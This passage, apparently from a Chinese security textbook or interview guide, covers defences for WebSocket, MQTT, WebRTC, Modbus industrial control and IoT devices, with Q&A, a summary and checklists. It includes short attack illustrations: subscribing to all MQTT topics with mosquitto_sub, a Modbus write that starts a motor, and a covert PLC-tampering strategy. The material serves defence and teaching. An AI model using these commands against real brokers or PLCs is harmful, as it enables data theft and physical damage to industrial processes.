// 128 位密码学随机 byte[] bytes = new byte[16]; secureRandom.nextBytes(bytes); String roomId = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes); // → Xk9mPq2LrT4wY8zA(2^128 种可能)
- 加入需要鉴权(Token + 可选访问码)
- 访问码用 BCrypt 存储,失败 5 次锁定 15 分钟
- 房间 4 小时自动过期
- 人数上限(最多 50)
- 房主可以踢人、锁定房间
补充:SDP 注入(安全团队可能没提但同样重要)
- 校验 SDP 里的所有 candidate IP 是否在白名单里
- 防止攻击者注入自己的 TURN 服务器做中间人
E27. 场景:工业客户的 PLC 被篡改了工艺参数,但监控大屏显示一切正常。怎么排查?怎么防止再次发生?(难度 ★★★★★)
答:
第一步:理解为什么会“显示正常”
有两种可能:
- 攻击者篡改了上报的数据:PLC 读到的真实值是 195, 但上报给 SCADA/MES 的是 180(数据在 PLC 端或网关端被改)
- 攻击者篡改的是“设定值”而非“测量值”: 设定值(Holding Register)被改成 195, 而大屏显示的是设定值(也从寄存器读), ——不对,这样应该显示 195
更可能的场景:攻击者改的是PLC 内部的程序逻辑, 让“实际执行的温度”和“上报的温度”不一致(Stuxnet 手法)。
排查步骤:
① 从 PLC 侧直接读(绕过 SCADA)
# 直接连 PLC,读原始寄存器 client = ModbusClient('172.16.30.5') actual = client.read_input_registers(100, 1) # 实测温度 setpoint = client.read_holding_registers(100, 1) # 设定温度 print(f"实测={actual}, 设定={setpoint}")如果实测 ≠ 大屏显示 → 数据在传输或上报环节被篡改
② 对比 PLC 程序和备份
# 用厂商软件(如 TIA Portal)读取 PLC 里的程序块 # 和最后一次的备份做二进制比对 diff <(sha256sum plc_current.bin) <(sha256sum plc_backup.bin)如果程序被改 → PLC 被植入了恶意逻辑(最严重)
③ 查日志
- PLC 的诊断缓冲区(有程序下载、参数修改记录)
- 工程师站的操作日志
- 工业防火墙的告警(有没有异常的写操作)
- 网关/交换机的流量镜像(有没有异常来源 IP)
④ 查网络路径
- 攻击者怎么进来的?
- 从摄像头/办公网横向过来的?(见 5.9 案例)
- 从 MQTT Broker 直接下发指令?
- 从远程运维通道(TeamViewer/向日葵)?
⑤ 时间线分析
- 参数是什么时候开始偏离的?
- 那段时间有什么其他事件(系统更新、人员操作、外部访问)?
防止再次发生:
① 立即可做(低成本)
- 工业防火墙功能码白名单:
- 源: 工程师站 (10.0.1.10) 功能码: [0x06, 0x10] 寄存器范围: 100-199 值范围: 0-500 ★ 限制值的范围! 时间段: 08:00-20:00 动作: ALLOW + ALERT ★ 所有写操作告警- 工控 IDS 基线学习:正常工况下温度在 180±5, 超出历史范围或偏离均值 4σ 就告警
- PLC 设为 RUN 模式时禁止下载程序(硬件拨码开关)
② 中期(需要投入)
- 网络分段:IT / DMZ / OT 三层,摄像头网段禁止访问 OT
- 单向网闸:生产网 → 管理网硬件单向
- PLC 程序完整性校验:定期比对运行中的程序和备份
- 关键参数双通道校验:PLC 的值和独立传感器比对
- 日志异地备份(WORM 存储,防篡改)
③ 长期
- 新设备选 OPC UA(内建证书认证 + 加密 + 签名)
- 建立工控安全运营中心(SOC)
- 定期红蓝对抗演练
★ 最重要的认知: 工控协议(Modbus/S7comm)本身没有认证, 靠协议防不住,只能靠网络隔离 + 行为监测。 所以“能看见”比“能拦住”更重要。
E. 连环追问链(28~30)
E28. 追问链:WebSocket 认证
Q1:WebSocket 怎么认证? A:握手期用 Cookie 或 Token 认证。
Q2:那 Token 放哪?放 URL 里行吗? A:不行,会进 Nginx 日志、浏览器历史、Referer。 推荐用一次性 ticket:先 HTTPS 换 60 秒有效的 ticket,再用 ticket 连。
Q3:为什么不能像 fetch 一样放 header? A:浏览器 WebSocket API 不支持——
new WebSocket(url, protocols)第二个参数只能是子协议列表,不能设 headers。Q4:那用 Cookie 呢?有什么问题? A:有 CSWSH 风险——恶意网站能让你的浏览器建立 WebSocket 连接, 浏览器自动带 Cookie,恶意网站就能读到推送内容。 因为 WebSocket 没有 CORS 预检,不受同源策略保护。
Q5:CSWSH 怎么防? A:校验 Origin 头。严格比对 scheme + host + port, 不能用
contains(会被example.com.evil.com绕过)。Q6:Origin 可以被伪造吗? A:浏览器场景下伪造不了(浏览器强制设置,JS 改不了)。 但非浏览器客户端(Python/App/服务端)可以随便设 Origin, 所以 Origin 校验只对浏览器有效。
Q7:那非浏览器场景怎么办? A:用 Token 或一次性 ticket(不依赖 Cookie,恶意站点拿不到)。
Q8:如果攻击者绕过了所有认证,连上了怎么办? A:订阅归属校验——检查他要订阅的频道是不是属于他。 这是最后一道防线。
Q9:所以哪一道是根本? A:都不是单一的。分层:
- 浏览器场景:Origin 校验(门禁)
- 所有场景:Token/ticket 认证(身份)
- 订阅鉴权(房间锁) ← 最根本,因为它决定了“能看到什么”
这就是纵深防御:不能只靠一道。
E29. 追问链:MQTT 安全
Q1:MQTT 为什么会被攻击? A:最常见的就是 Broker 允许匿名访问,一条
mosquitto_sub -t '#'拿到所有数据。Q2:配了 TLS 不就安全了吗? A:TLS 只解决传输加密(中间人看不到), 不解决认证(谁能连)和授权(能看什么)。 匿名访问 + TLS = 加密地把数据送给所有人。
Q3:那关掉匿名访问就行了吗? A:还要配 ACL。认证解决“你是谁”,授权解决“你能看什么”。 如果所有设备共用一个账号,那这个账号能订阅
#,等于没隔离。Q4:ACL 怎么配? A:三个关键:
{deny, all, subscribe, ["#"]}.禁止订阅全部{deny, all, subscribe, ["$SYS/#"]}.禁止系统主题- 设备只能访问
devices/${username}/#(用变量,不用给每台设备写一条) 还要注意:Mosquitto 顺序匹配,deny 必须放前面。Q5:设备的账号密码怎么给? A:一机一密,不能全厂共用一套。 固件提取只要 10 分钟(binwalk + grep),共用一套 = 全沦陷。
Q6:但设备总要有个初始凭据才能激活吧? A:用非对称密钥。出厂烧录设备私钥, 设备用私钥对 challenge 签名,服务端用公钥验证。 验证通过才下发临时的 MQTT 凭据(90 天有效,定期轮换)。
Q7:这样固件被提取了还有风险吗? A:有,但小得多——固件里只有设备自己的私钥, 且如果私钥存在安全芯片(SE/TPM)里,物理上也读不出来。 退一步说,即使一台设备的私钥泄露, 也只影响这一台(可以单独吊销),不会全军覆没。
Q8:那 DoS 呢? A:资源限制:连接数、消息大小、inflight 消息数(防 QoS2 内存耗尽)、 离线队列长度、会话过期时间。
Q9:还有一个容易忽略的? A:保留消息投毒——投毒一次持续生效。 要禁止对 command/config 类 Topic 发保留消息, 并定期扫描保留消息比对基线。
E30. 追问链:从 IoT 到物理世界
Q1:IoT 设备和 Web 应用的安全有什么不同? A:最大的不同是 IoT 的漏洞能影响物理世界—— 不是丢数据,是能让工厂停机、电梯卡住、门禁打开。
Q2:能举个具体的例子吗? A:Modbus 协议。1979 年设计,明文、无认证、无加密、无完整性校验。 任何能连到 502 端口的人,发一条
write_single_coil(0, True)就能启动一台电机;改一个寄存器就能把温度设定值从 180 改成 500。Q3:那为什么不做认证? A:历史包袱——设计时工业网络是物理隔离的,完全没考虑安全。 而且现在改不了(几十万台在役设备,协议是固件写死的)。 新系统可以用 OPC UA(内建安全),但老设备没办法。
Q4:那怎么防? A:靠外围,四层:
- 物理隔离(air gap)——唯一能防 Stuxnet 的方法
- 工业防火墙——能理解 Modbus,做功能码白名单
- 单向网闸——硬件保证只能单向传
- 工控 IDS 基线学习——因为协议本身防不住,所以必须能“看见”
Q5:为什么基线学习在工控特别有效? A:因为工控流量高度规律——同样的设备每秒读同样的寄存器, 数值在固定范围内波动。这和 IT 网络的随机流量完全不同。 所以“出现从未见过的功能码”或“写入超出历史范围的值”就能高精度告警。
Q6:那工控安全的优先级和 IT 一样吗? A:不一样,是倒过来的:
- IT 是 CIA:机密性 > 完整性 > 可用性
- OT 是 AIC:可用性 > 完整性 > 机密性 产线停机 1 分钟损失几十万,所以可用性第一。 这也导致很多 IT 安全措施不能直接上(不能随便装杀软、不能随便打补丁、不能随便重启)。
Q7:如果真的被攻陷了,攻击者会怎么最大化破坏? A:真正的 APT 不会立刻让产线停机——那会马上被发现。 他们会缓慢篡改:温度从 180 一点点改成 195,每次 +2, 同时篡改上报数据让监控大屏显示正常值。 三周后才因为产品合格率下降被发现,这时候已经生产了十几万件废品。
Q8:这个案例给防御者什么启示? A:瑞士奶酪模型——每道防线都有洞, 防御的目标不是“某一道做到完美”(做不到), 而是“让洞不对齐”。 这个案例里 8 个失守点,堵住任何一个攻击链都会断。
5.11 第五章小结
5.11.1 核心认知五条
┌────────────────────────────────────────────────────────────────┐
│ ① 长连接让传统安全设备集体失明 │
│ │
│ WAF 看不见帧(握手后协议就变了) │
│ 限流按请求算(1 连接 = 1 请求,里面能发无限消息) │
│ 网关只在握手鉴权(后面几小时的消息全默认可信) │
│ 访问日志什么都不记(无法审计) │
│ │
│ → 所以:安全必须在【应用层】做 │
│ 限流单位从"请求数"改成"消息数" │
├────────────────────────────────────────────────────────────────┤
│ ② 加密 ≠ 认证 │
│ │
│ MQTT 配了 TLS,但 allow_anonymous true │
│ → 加密地把所有数据送给所有人 │
│ │
│ WebRTC 数据通道强制 DTLS 加密(很安全) │
│ 但信令通道由你自己实现(毫无保护) │
│ → 最薄弱的环节永远是你自己写的那部分 │
│ │
│ TLS 解决:中间人窃听、凭据抓包 │
│ TLS 不解决:谁能连、能看什么 │
├────────────────────────────────────────────────────────────────┤
│ ③ 通配符和批量能力是"攻击放大器" │
│ │
│ MQTT 的 `#` → 一条命令订阅全部数据 │
│ GraphQL 的别名 → 一个请求 1000 次登录 │
│ WebSocket 长连接 → 1 个请求发 1 万条消息 │
│ CoAP 的 UDP → 4 字节请求换几 KB 响应(放大 500 倍) │
│ TURN 无认证 → 你的带宽给别人免费用 │
│ │
│ → 所有"批量/通配"能力都必须配限额和鉴权 │
├────────────────────────────────────────────────────────────────┤
│ ④ 客户端/设备不可信,这是 IoT 的根本矛盾 │
│ │
│ Web:代码在服务器上,客户看不到改不了 │
│ 移动 App:代码在用户手机上,能反编译能 Hook │
│ IoT 设备:设备在现场,能拆壳能接 UART 能读 Flash │
│ │
│ → 固件提取只要 10 分钟(binwalk + grep) │
│ → 所以:凭据不能写死在固件里 │
│ 用非对称密钥 + 动态凭据 + 安全芯片 │
│ 一台泄露不影响其他(一机一密) │
├────────────────────────────────────────────────────────────────┤
│ ⑤ 工控的漏洞影响物理世界,且"能看见"比"能拦住"更重要 │
│ │
│ Modbus:1979 年设计,明文、无认证、无加密、无完整性 │
│ → 协议本身没救,只能靠外围: │
│ 物理隔离 > 工业防火墙 > 单向网闸 > 工控 IDS │
│ │
│ 为什么 IDS 特别有效? │
│ 工控流量高度规律(每秒读同样的寄存器,值在固定范围) │
│ 任何偏离都是异常,误报率低 │
│ │
│ 优先级是 AIC(可用性优先),不是 CIA │
│ → 不能随便装杀软、打补丁、重启、扫描 │
└────────────────────────────────────────────────────────────────┘
5.11.2 协议安全速查卡
| 协议 | 最大风险 | 第一道防线 | 最容易被忽略的点 |
|---|---|---|---|
| WebSocket | 握手后完全裸奔 | Origin 校验 + 订阅鉴权 | 限流单位要改成“消息数” |
| SSE | EventSource 不能设头 | 一次性 ticket | Nginx proxy_buffering off |
| WebRTC | 内网 IP 泄露 | iceTransportPolicy: 'relay' |
信令服务器没有任何标准保护 |
| MQTT | 匿名访问 + # 订阅 |
allow_anonymous false + ACL |
保留消息投毒(持久性攻击) |
| CoAP | 放大反射 DDoS | 启用 DTLS | 限制 /.well-known/core 大小 |
| Modbus | 明文无认证 | 工业防火墙功能码白名单 | 值范围限制(不只是功能码) |
| OTA | 恶意固件植入 | 固件签名 + 防降级 | 版本号要签进元数据 |
5.11.3 上线前必查清单
===================== WebSocket =====================
认证授权:
☐ Origin 校验(严格三部分比对,不用 contains)
☐ Token 不在 URL(用 ticket 或 Cookie+SameSite)
☐ 每个订阅频道校验归属(最后防线)
☐ 敏感操作在消息层再校验一次
资源限制:
☐ 单条消息大小 ≤ 64KB
☐ 空闲超时 ≤ 5 分钟
☐ supportsPartialMessages = false(防分片攻击)
☐ 消息级限流(每秒 10 条 / 每分钟 100KB)
☐ 连接数限制(全局 / 单 IP / 单用户)
☐ 计数器在 finally 里释放(防泄漏)
内容安全:
☐ 前端用 textContent,不用 innerHTML
☐ 富文本用 DOMPurify 白名单过滤
☐ 服务端入站也做校验(攻击者可以不用你的前端)
☐ CSP 兜底
===================== SSE =====================
☐ 认证:Cookie+SameSite 或一次性 ticket
☐ Last-Event-ID 校验归属(查询带 userId 条件)
☐ data 用 JSON 序列化(防事件注入)
☐ event/id 字段清洗(去掉 \r \n :)
☐ emitter 设超时(5 分钟)+ 三处清理(防内存泄漏)
☐ 心跳保活(15~30 秒注释)
☐ Nginx: proxy_buffering off + gzip off + timeout 3600s
☐ HTTP/2 或 SharedWorker(突破 6 连接限制)
===================== WebRTC =====================
☐ 房间 ID 密码学随机(≥128 位)
☐ 加入需鉴权(Token + 可选访问码)
☐ 访问码失败限制(15 分钟 5 次)
☐ 房间过期时间 + 人数上限
☐ SDP 校验 ICE 服务器白名单(防中间人注入)
☐ TURN: no-anonymous-access + 动态凭据
☐ TURN: denied-peer-ip 禁内网段
☐ TURN: max-bps 限流
☐ 高敏感场景 iceTransportPolicy: 'relay'
===================== MQTT =====================
☐ allow_anonymous false ★
☐ 只用 8883(TLS),禁用 1883 明文
☐ 一机一密,固件不硬编码
☐ ACL 默认拒绝
☐ 禁止订阅 # 和 $SYS/#
☐ 设备只能访问自己 ID 下的 Topic
☐ 上下行 Topic 分离(up/ vs down/)
☐ 禁止对 command/config 发保留消息
☐ 连接数 / 消息大小 / inflight / 队列 限制
☐ 监控:认证失败、克隆设备、订阅 #、保留消息篡改
===================== 工控 =====================
☐ 网络分段:IT / DMZ / OT 三层
☐ 摄像头/办公网 禁止访问 OT 网
☐ 工业防火墙:源IP + 功能码 + 地址范围 + 值范围
☐ 所有写操作告警
☐ 工控 IDS 基线学习
☐ PLC 拨到 RUN 时禁止下载程序
☐ 日志异地备份(WORM)
☐ 定期比对 PLC 程序与备份
===================== IoT 设备 =====================
☐ 无默认口令 / 首次强制改密
☐ 一机一密 + 动态凭据 + 定期轮换
☐ 固件签名 + Secure Boot
☐ OTA 防降级(安全版本计数器)
☐ OTA A/B 分区(防变砖)
☐ 关闭/保护 UART/JTAG/SWD
☐ 密钥放安全芯片,不放普通 Flash
☐ 关闭不必要的服务(telnet/ftp)
☐ 灰度发布 + 回滚机制
5.11.4 一句话记忆法
长连接守消息,广播协议守频道,工控守网络,设备守凭据。
- WebSocket / SSE:网关看不见,所以鉴权和限流都要下沉到应用层; 限流的单位是消息不是请求
- MQTT:不是防“消息被偷听”,是防“谁订阅了哪个频道”; 一个
#就能订阅全世界,所以 ACL 比加密更重要- WebRTC:数据通道很安全(强制 DTLS), 但信令通道是你自己写的,那是唯一的弱点
- CoAP:UDP + 无认证 = 天然放大器,上 DTLS 是唯一有效解
- Modbus:协议本身没救,靠网络隔离和行为监测; “能看见”比“能拦住”更重要
- IoT 设备:固件提取只要 10 分钟,所以凭据绝不能写死在固件里; 一机一密 + 动态轮换 + 安全芯片